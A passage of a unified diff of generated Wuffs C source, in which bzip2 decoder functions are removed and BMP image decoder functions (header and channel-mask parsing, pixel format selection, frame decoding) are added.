= ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_18; ++ if (num_bits_18 == 24) { ++ t_18 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_18 += 8u; ++ *scratch |= ((uint64_t)(num_bits_18)) << 56; ++ } ++ } ++ self->private_impl.f_channel_masks[0u] = t_18; ++ } ++ if (self->private_impl.f_bitmap_info_len >= 56u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(41); ++ uint32_t t_19; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_19 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(42); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_19 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_19; ++ if (num_bits_19 == 24) { ++ t_19 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_19 += 8u; ++ *scratch |= ((uint64_t)(num_bits_19)) << 56; ++ } ++ } ++ self->private_impl.f_channel_masks[3u] = t_19; ++ } ++ self->private_data.s_do_decode_image_config.scratch = ((uint32_t)(self->private_impl.f_bitmap_info_len - 56u)); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(43); ++ if (self->private_data.s_do_decode_image_config.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { ++ self->private_data.s_do_decode_image_config.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); ++ iop_a_src = io2_a_src; ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ iop_a_src += self->private_data.s_do_decode_image_config.scratch; ++ } ++ if ((self->private_impl.f_channel_masks[0u] == 255u) && (self->private_impl.f_channel_masks[1u] == 65280u) && (self->private_impl.f_channel_masks[2u] == 16711680u)) { ++ if (self->private_impl.f_bits_per_pixel == 24u) { ++ self->private_impl.f_compression = 0u; ++ } else if (self->private_impl.f_bits_per_pixel == 32u) { ++ if ((self->private_impl.f_channel_masks[3u] == 0u) || (self->private_impl.f_channel_masks[3u] == 4278190080u)) { ++ self->private_impl.f_compression = 0u; ++ } ++ } ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(44); ++ status = wuffs_bmp__decoder__process_masks(self); ++ if (status.repr) { ++ goto suspend; ++ } ++ } ++ } else if (self->private_impl.f_bitmap_info_len >= 40u) { ++ v_n = (self->private_impl.f_bitmap_info_len - 40u); ++ self->private_data.s_do_decode_image_config.scratch = v_n; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(45); ++ if (self->private_data.s_do_decode_image_config.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { ++ self->private_data.s_do_decode_image_config.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); ++ iop_a_src = io2_a_src; ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ iop_a_src += self->private_data.s_do_decode_image_config.scratch; ++ } else { ++ status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); ++ goto exit; + } +- v_symbol_index += 1u; + } +- v_code_length += 1u; ++ if (self->private_impl.f_compression != 3u) { ++ if (self->private_impl.f_bits_per_pixel < 16u) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(46); ++ status = wuffs_bmp__decoder__read_palette(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ } ++ } ++ if (self->private_impl.f_compression == 0u) { ++ if ((self->private_impl.f_bits_per_pixel == 1u) || (self->private_impl.f_bits_per_pixel == 2u) || (self->private_impl.f_bits_per_pixel == 4u)) { ++ self->private_impl.f_src_pixfmt = 2198077448u; ++ self->private_impl.f_compression = 256u; ++ } else if (self->private_impl.f_bits_per_pixel == 8u) { ++ self->private_impl.f_src_pixfmt = 2198077448u; ++ } else if (self->private_impl.f_bits_per_pixel == 16u) { ++ self->private_impl.f_compression = 3u; ++ self->private_impl.f_channel_masks[0u] = 31u; ++ self->private_impl.f_channel_masks[1u] = 992u; ++ self->private_impl.f_channel_masks[2u] = 31744u; ++ self->private_impl.f_channel_masks[3u] = 0u; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(47); ++ status = wuffs_bmp__decoder__process_masks(self); ++ if (status.repr) { ++ goto suspend; ++ } ++ self->private_impl.f_src_pixfmt = 2164308923u; ++ } else if (self->private_impl.f_bits_per_pixel == 24u) { ++ self->private_impl.f_src_pixfmt = 2147485832u; ++ } else if (self->private_impl.f_bits_per_pixel == 32u) { ++ if (self->private_impl.f_channel_masks[3u] == 0u) { ++ self->private_impl.f_src_pixfmt = 2415954056u; ++ } else { ++ self->private_impl.f_src_pixfmt = 2164295816u; ++ } ++ } else { ++ status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); ++ goto exit; ++ } ++ } else if (self->private_impl.f_compression == 1u) { ++ if (self->private_impl.f_bits_per_pixel == 8u) { ++ self->private_impl.f_src_pixfmt = 2198077448u; ++ } else { ++ status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); ++ goto exit; ++ } ++ } else if (self->private_impl.f_compression == 2u) { ++ if (self->private_impl.f_bits_per_pixel == 4u) { ++ self->private_impl.f_src_pixfmt = 2198077448u; ++ } else { ++ status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); ++ goto exit; ++ } ++ } else if (self->private_impl.f_compression == 3u) { ++ if ((self->private_impl.f_bits_per_pixel == 16u) || (self->private_impl.f_bits_per_pixel == 32u)) { ++ self->private_impl.f_src_pixfmt = 2164308923u; ++ } else { ++ status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); ++ goto exit; ++ } ++ } else { ++ status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); ++ goto exit; ++ } ++ if (((self->private_impl.f_bitmap_info_len < 40u) || (self->private_impl.f_bitmap_info_len == 64u)) && ++ (self->private_impl.f_bits_per_pixel != 1u) && ++ (self->private_impl.f_bits_per_pixel != 4u) && ++ (self->private_impl.f_bits_per_pixel != 8u) && ++ (self->private_impl.f_bits_per_pixel != 24u)) { ++ status = wuffs_base__make_status(wuffs_bmp__error__bad_header); ++ goto exit; ++ } ++ if (self->private_impl.f_bits_per_pixel == 1u) { ++ v_byte_width = ((self->private_impl.f_width >> 3u) + (((self->private_impl.f_width & 7u) + 7u) >> 3u)); ++ self->private_impl.f_pad_per_row = ((4u - (v_byte_width & 3u)) & 3u); ++ } else if (self->private_impl.f_bits_per_pixel == 2u) { ++ v_byte_width = ((self->private_impl.f_width >> 2u) + (((self->private_impl.f_width & 3u) + 3u) >> 2u)); ++ self->private_impl.f_pad_per_row = ((4u - (v_byte_width & 3u)) & 3u); ++ } else if (self->private_impl.f_bits_per_pixel == 4u) { ++ v_byte_width = ((self->private_impl.f_width >> 1u) + (self->private_impl.f_width & 1u)); ++ self->private_impl.f_pad_per_row = ((4u - (v_byte_width & 3u)) & 3u); ++ } else if (self->private_impl.f_bits_per_pixel == 8u) { ++ self->private_impl.f_pad_per_row = ((4u - (self->private_impl.f_width & 3u)) & 3u); ++ } else if (self->private_impl.f_bits_per_pixel == 16u) { ++ self->private_impl.f_pad_per_row = ((self->private_impl.f_width & 1u) * 2u); ++ } else if (self->private_impl.f_bits_per_pixel == 24u) { ++ self->private_impl.f_pad_per_row = (self->private_impl.f_width & 3u); ++ } else if (self->private_impl.f_bits_per_pixel == 32u) { ++ self->private_impl.f_pad_per_row = 0u; ++ } ++ self->private_impl.f_frame_config_io_position = wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))); ++ if (a_dst != NULL) { ++ v_dst_pixfmt = 2164295816u; ++ if ((self->private_impl.f_channel_num_bits[0u] > 8u) || ++ (self->private_impl.f_channel_num_bits[1u] > 8u) || ++ (self->private_impl.f_channel_num_bits[2u] > 8u) || ++ (self->private_impl.f_channel_num_bits[3u] > 8u)) { ++ v_dst_pixfmt = 2164308923u; ++ } else if (((self->private_impl.f_src_pixfmt == 2198077448u) || (self->private_impl.f_src_pixfmt == 2147485832u) || (self->private_impl.f_src_pixfmt == 2415954056u)) || ((self->private_impl.f_src_pixfmt == 2164308923u) && (self->private_impl.f_channel_masks[3u] == 0u))) { ++ v_dst_pixfmt = 2415954056u; ++ } ++ wuffs_base__image_config__set( ++ a_dst, ++ v_dst_pixfmt, ++ 0u, ++ self->private_impl.f_width, ++ self->private_impl.f_height, ++ self->private_impl.f_frame_config_io_position, ++ (self->private_impl.f_channel_masks[3u] == 0u)); ++ } ++ self->private_impl.f_call_sequence = 32u; ++ ++ ok: ++ self->private_impl.p_do_decode_image_config = 0; ++ goto exit; + } +- if (v_stack_height != 0u) { +- return wuffs_base__make_status(wuffs_bzip2__error__bad_huffman_code_under_subscribed); ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_do_decode_image_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +- return wuffs_base__make_status(NULL); ++ ++ return status; + } + +-// -------- func bzip2.decoder.build_huffman_table ++// -------- func bmp.decoder.decode_frame_config + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_bzip2__decoder__build_huffman_table( +- wuffs_bzip2__decoder* self, +- uint32_t a_which) { +- uint32_t v_i = 0; +- uint32_t v_bits = 0; +- uint16_t v_n_bits = 0; +- uint16_t v_child = 0; ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_bmp__decoder__decode_frame_config( ++ wuffs_bmp__decoder* self, ++ wuffs_base__frame_config* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ if (!a_src) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ if ((self->private_impl.active_coroutine != 0) && ++ (self->private_impl.active_coroutine != 2)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ } ++ self->private_impl.active_coroutine = 0; ++ wuffs_base__status status = wuffs_base__make_status(NULL); + +- while (v_i < 256u) { +- v_bits = (v_i << 24u); +- v_n_bits = 0u; +- v_child = 0u; +- while ((v_child < 257u) && (v_n_bits < 8u)) { +- v_child = self->private_data.f_huffman_trees[a_which][v_child][(v_bits >> 31u)]; +- v_bits <<= 1u; +-#if defined(__GNUC__) +-#pragma GCC diagnostic push +-#pragma GCC diagnostic ignored "-Wconversion" +-#endif +- v_n_bits += 1u; +-#if defined(__GNUC__) +-#pragma GCC diagnostic pop +-#endif ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_frame_config; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ while (true) { ++ { ++ wuffs_base__status t_0 = wuffs_bmp__decoder__do_decode_frame_config(self, a_dst, a_src); ++ v_status = t_0; ++ } ++ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { ++ status = wuffs_base__make_status(wuffs_bmp__error__truncated_input); ++ goto exit; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); + } +- self->private_data.f_huffman_tables[a_which][v_i] = ((uint16_t)((v_child | (v_n_bits << 12u)))); +- v_i += 1u; ++ ++ ok: ++ self->private_impl.p_decode_frame_config = 0; ++ goto exit; + } +- return wuffs_base__make_empty_struct(); ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_frame_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 2 : 0; ++ ++ goto exit; ++ exit: ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ } ++ return status; + } + +-// -------- func bzip2.decoder.invert_bwt ++// -------- func bmp.decoder.do_decode_frame_config + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_bzip2__decoder__invert_bwt( +- wuffs_bzip2__decoder* self) { +- uint32_t v_i = 0; +- uint32_t v_letter = 0; +- uint32_t v_sum = 0; +- uint32_t v_old_sum = 0; ++static wuffs_base__status ++wuffs_bmp__decoder__do_decode_frame_config( ++ wuffs_bmp__decoder* self, ++ wuffs_base__frame_config* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); + +- v_sum = 0u; +- v_i = 0u; +- while (v_i < 256u) { +- v_old_sum = v_sum; +- v_sum += self->private_data.f_letter_counts[v_i]; +- self->private_data.f_letter_counts[v_i] = v_old_sum; +- v_i += 1u; +- } +- v_i = 0u; +- while (v_i < self->private_impl.f_block_size) { +- v_letter = (self->private_data.f_bwt[v_i] & 255u); +- self->private_data.f_bwt[(self->private_data.f_letter_counts[v_letter] & 1048575u)] |= (v_i << 12u); +- self->private_data.f_letter_counts[v_letter] += 1u; +- v_i += 1u; ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; + } +- return wuffs_base__make_empty_struct(); +-} +- +-// -------- func bzip2.decoder.flush_fast +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_bzip2__decoder__flush_fast( +- wuffs_bzip2__decoder* self, +- wuffs_base__io_buffer* a_dst) { +- uint32_t v_flush_pointer = 0; +- uint32_t v_flush_repeat_count = 0; +- uint8_t v_flush_prev = 0; +- uint32_t v_block_checksum_have = 0; +- uint32_t v_block_size = 0; +- uint32_t v_entry = 0; +- uint8_t v_curr = 0; + +- uint8_t* iop_a_dst = NULL; +- uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_dst && a_dst->data.ptr) { +- io0_a_dst = a_dst->data.ptr; +- io1_a_dst = io0_a_dst + a_dst->meta.wi; +- iop_a_dst = io1_a_dst; +- io2_a_dst = io0_a_dst + a_dst->data.len; +- if (a_dst->meta.closed) { +- io2_a_dst = iop_a_dst; +- } +- } ++ uint32_t coro_susp_point = self->private_impl.p_do_decode_frame_config; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- v_flush_pointer = self->private_impl.f_flush_pointer; +- v_flush_repeat_count = self->private_impl.f_flush_repeat_count; +- v_flush_prev = self->private_impl.f_flush_prev; +- v_block_checksum_have = self->private_impl.f_block_checksum_have; +- v_block_size = self->private_impl.f_block_size; +- while ((v_block_size > 0u) && (((uint64_t)(io2_a_dst - iop_a_dst)) >= 255u)) { +- if (v_flush_repeat_count < 4u) { +- v_entry = self->private_data.f_bwt[v_flush_pointer]; +- v_curr = ((uint8_t)(v_entry)); +- v_flush_pointer = (v_entry >> 12u); +- if (v_curr == v_flush_prev) { +- v_flush_repeat_count += 1u; +- } else { +- v_flush_repeat_count = 1u; ++ if (self->private_impl.f_call_sequence == 32u) { ++ } else if (self->private_impl.f_call_sequence < 32u) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +- v_block_checksum_have = (WUFFS_BZIP2__REV_CRC32_TABLE[(((uint8_t)((v_block_checksum_have >> 24u))) ^ v_curr)] ^ ((uint32_t)(v_block_checksum_have << 8u))); +- (wuffs_base__poke_u8be__no_bounds_check(iop_a_dst, v_curr), iop_a_dst += 1); +- v_flush_prev = v_curr; +- v_block_size -= 1u; +- } else { +- v_entry = self->private_data.f_bwt[v_flush_pointer]; +- v_curr = ((uint8_t)(v_entry)); +- v_flush_pointer = (v_entry >> 12u); +- v_flush_repeat_count = ((uint32_t)(v_curr)); +- while (v_flush_repeat_count > 0u) { +- v_block_checksum_have = (WUFFS_BZIP2__REV_CRC32_TABLE[(((uint8_t)((v_block_checksum_have >> 24u))) ^ v_flush_prev)] ^ ((uint32_t)(v_block_checksum_have << 8u))); +- if (((uint64_t)(io2_a_dst - iop_a_dst)) > 0u) { +- (wuffs_base__poke_u8be__no_bounds_check(iop_a_dst, v_flush_prev), iop_a_dst += 1); +- } +- v_flush_repeat_count -= 1u; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ status = wuffs_bmp__decoder__do_decode_image_config(self, NULL, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; + } +- v_flush_repeat_count = 0u; +- v_flush_prev = v_curr; +- v_block_size -= 1u; ++ if (status.repr) { ++ goto suspend; ++ } ++ } else if (self->private_impl.f_call_sequence == 40u) { ++ if (self->private_impl.f_frame_config_io_position != wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src)))) { ++ status = wuffs_base__make_status(wuffs_base__error__bad_restart); ++ goto exit; ++ } ++ } else if (self->private_impl.f_call_sequence == 64u) { ++ self->private_impl.f_call_sequence = 96u; ++ status = wuffs_base__make_status(wuffs_base__note__end_of_data); ++ goto ok; ++ } else { ++ status = wuffs_base__make_status(wuffs_base__note__end_of_data); ++ goto ok; + } ++ if (a_dst != NULL) { ++ wuffs_base__frame_config__set( ++ a_dst, ++ wuffs_base__utility__make_rect_ie_u32( ++ 0u, ++ 0u, ++ self->private_impl.f_width, ++ self->private_impl.f_height), ++ ((wuffs_base__flicks)(0u)), ++ 0u, ++ self->private_impl.f_frame_config_io_position, ++ 0u, ++ true, ++ false, ++ 4278190080u); ++ } ++ self->private_impl.f_call_sequence = 64u; ++ ++ ok: ++ self->private_impl.p_do_decode_frame_config = 0; ++ goto exit; + } +- self->private_impl.f_flush_pointer = v_flush_pointer; +- self->private_impl.f_flush_repeat_count = v_flush_repeat_count; +- self->private_impl.f_flush_prev = v_flush_prev; +- self->private_impl.f_block_checksum_have = v_block_checksum_have; +- if (v_block_size <= 900000u) { +- self->private_impl.f_block_size = v_block_size; +- } +- if (a_dst && a_dst->data.ptr) { +- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_do_decode_frame_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } + +- return wuffs_base__make_empty_struct(); ++ return status; + } + +-// -------- func bzip2.decoder.flush_slow ++// -------- func bmp.decoder.decode_frame + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_bzip2__decoder__flush_slow( +- wuffs_bzip2__decoder* self, +- wuffs_base__io_buffer* a_dst) { ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_bmp__decoder__decode_frame( ++ wuffs_bmp__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__pixel_blend a_blend, ++ wuffs_base__slice_u8 a_workbuf, ++ wuffs_base__decode_frame_options* a_opts) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ if (!a_dst || !a_src) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ if ((self->private_impl.active_coroutine != 0) && ++ (self->private_impl.active_coroutine != 3)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ } ++ self->private_impl.active_coroutine = 0; + wuffs_base__status status = wuffs_base__make_status(NULL); + +- uint32_t v_flush_pointer = 0; +- uint32_t v_flush_repeat_count = 0; +- uint8_t v_flush_prev = 0; +- uint32_t v_block_checksum_have = 0; +- uint32_t v_block_size = 0; +- uint32_t v_entry = 0; +- uint8_t v_curr = 0; +- +- uint8_t* iop_a_dst = NULL; +- uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_dst && a_dst->data.ptr) { +- io0_a_dst = a_dst->data.ptr; +- io1_a_dst = io0_a_dst + a_dst->meta.wi; +- iop_a_dst = io1_a_dst; +- io2_a_dst = io0_a_dst + a_dst->data.len; +- if (a_dst->meta.closed) { +- io2_a_dst = iop_a_dst; +- } +- } ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); + +- uint32_t coro_susp_point = self->private_impl.p_flush_slow[0]; +- if (coro_susp_point) { +- v_flush_pointer = self->private_data.s_flush_slow[0].v_flush_pointer; +- v_flush_repeat_count = self->private_data.s_flush_slow[0].v_flush_repeat_count; +- v_flush_prev = self->private_data.s_flush_slow[0].v_flush_prev; +- v_block_checksum_have = self->private_data.s_flush_slow[0].v_block_checksum_have; +- v_block_size = self->private_data.s_flush_slow[0].v_block_size; +- v_curr = self->private_data.s_flush_slow[0].v_curr; +- } ++ uint32_t coro_susp_point = self->private_impl.p_decode_frame; + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- v_flush_pointer = self->private_impl.f_flush_pointer; +- v_flush_repeat_count = self->private_impl.f_flush_repeat_count; +- v_flush_prev = self->private_impl.f_flush_prev; +- v_block_checksum_have = self->private_impl.f_block_checksum_have; +- v_block_size = self->private_impl.f_block_size; +- while ((v_block_size > 0u) && ! (self->private_impl.p_flush_slow[0] != 0)) { +- if (v_flush_repeat_count < 4u) { +- v_entry = self->private_data.f_bwt[v_flush_pointer]; +- v_curr = ((uint8_t)(v_entry)); +- v_flush_pointer = (v_entry >> 12u); +- if (v_curr == v_flush_prev) { +- v_flush_repeat_count += 1u; +- } else { +- v_flush_repeat_count = 1u; +- } +- v_block_checksum_have = (WUFFS_BZIP2__REV_CRC32_TABLE[(((uint8_t)((v_block_checksum_have >> 24u))) ^ v_curr)] ^ ((uint32_t)(v_block_checksum_have << 8u))); +- self->private_data.s_flush_slow[0].scratch = v_curr; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- if (iop_a_dst == io2_a_dst) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_write); +- goto suspend; +- } +- *iop_a_dst++ = ((uint8_t)(self->private_data.s_flush_slow[0].scratch)); +- v_flush_prev = v_curr; +- v_block_size -= 1u; +- } else { +- v_entry = self->private_data.f_bwt[v_flush_pointer]; +- v_curr = ((uint8_t)(v_entry)); +- v_flush_pointer = (v_entry >> 12u); +- v_flush_repeat_count = ((uint32_t)(v_curr)); +- while (v_flush_repeat_count > 0u) { +- v_block_checksum_have = (WUFFS_BZIP2__REV_CRC32_TABLE[(((uint8_t)((v_block_checksum_have >> 24u))) ^ v_flush_prev)] ^ ((uint32_t)(v_block_checksum_have << 8u))); +- self->private_data.s_flush_slow[0].scratch = v_flush_prev; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- if (iop_a_dst == io2_a_dst) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_write); +- goto suspend; +- } +- *iop_a_dst++ = ((uint8_t)(self->private_data.s_flush_slow[0].scratch)); +- v_flush_repeat_count -= 1u; +- } +- v_flush_repeat_count = 0u; +- v_flush_prev = v_curr; +- v_block_size -= 1u; ++ while (true) { ++ { ++ wuffs_base__status t_0 = wuffs_bmp__decoder__do_decode_frame(self, ++ a_dst, ++ a_src, ++ a_blend, ++ a_workbuf, ++ a_opts); ++ v_status = t_0; + } +- } +- self->private_impl.f_flush_pointer = v_flush_pointer; +- self->private_impl.f_flush_repeat_count = v_flush_repeat_count; +- self->private_impl.f_flush_prev = v_flush_prev; +- self->private_impl.f_block_checksum_have = v_block_checksum_have; +- if (v_block_size <= 900000u) { +- self->private_impl.f_block_size = v_block_size; ++ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { ++ status = wuffs_base__make_status(wuffs_bmp__error__truncated_input); ++ goto exit; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); + } + +- goto ok; + ok: +- self->private_impl.p_flush_slow[0] = 0; ++ self->private_impl.p_decode_frame = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_flush_slow[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_data.s_flush_slow[0].v_flush_pointer = v_flush_pointer; +- self->private_data.s_flush_slow[0].v_flush_repeat_count = v_flush_repeat_count; +- self->private_data.s_flush_slow[0].v_flush_prev = v_flush_prev; +- self->private_data.s_flush_slow[0].v_block_checksum_have = v_block_checksum_have; +- self->private_data.s_flush_slow[0].v_block_size = v_block_size; +- self->private_data.s_flush_slow[0].v_curr = v_curr; ++ self->private_impl.p_decode_frame = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 3 : 0; + + goto exit; + exit: +- if (a_dst && a_dst->data.ptr) { +- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; + } +- + return status; + } + +-// -------- func bzip2.decoder.decode_huffman_fast ++// -------- func bmp.decoder.do_decode_frame + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_bzip2__decoder__decode_huffman_fast( +- wuffs_bzip2__decoder* self, +- wuffs_base__io_buffer* a_src) { ++wuffs_bmp__decoder__do_decode_frame( ++ wuffs_bmp__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__pixel_blend a_blend, ++ wuffs_base__slice_u8 a_workbuf, ++ wuffs_base__decode_frame_options* a_opts) { + wuffs_base__status status = wuffs_base__make_status(NULL); + +- uint32_t v_bits = 0; +- uint32_t v_n_bits = 0; +- uint32_t v_block_size = 0; +- uint8_t v_which = 0; +- uint32_t v_ticks = 0; +- uint32_t v_section = 0; +- uint32_t v_run_shift = 0; +- uint16_t v_table_entry = 0; +- uint16_t v_child = 0; +- uint32_t v_child_ff = 0; +- uint32_t v_i = 0; +- uint32_t v_j = 0; +- uint32_t v_output = 0; +- uint32_t v_run = 0; +- uint32_t v_mtft0 = 0; ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); + + const uint8_t* iop_a_src = NULL; + const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +@@ -31802,90 +32760,132 @@ wuffs_bzip2__decoder__decode_huffman_fast( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- v_bits = self->private_impl.f_bits; +- v_n_bits = self->private_impl.f_n_bits; +- v_block_size = self->private_impl.f_block_size; +- v_which = self->private_impl.f_decode_huffman_which; +- v_ticks = self->private_impl.f_decode_huffman_ticks; +- v_section = self->private_impl.f_decode_huffman_section; +- v_run_shift = self->private_impl.f_decode_huffman_run_shift; +- while (((uint64_t)(io2_a_src - iop_a_src)) >= 4u) { +- if (v_ticks > 0u) { +- v_ticks -= 1u; +- } else { +- v_ticks = 49u; +- v_section += 1u; +- if (v_section >= self->private_impl.f_num_sections) { +- status = wuffs_base__make_status(wuffs_bzip2__error__bad_number_of_sections); +- goto exit; ++ uint32_t coro_susp_point = self->private_impl.p_do_decode_frame; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ if (self->private_impl.f_call_sequence == 64u) { ++ } else if (self->private_impl.f_call_sequence < 64u) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +- v_which = 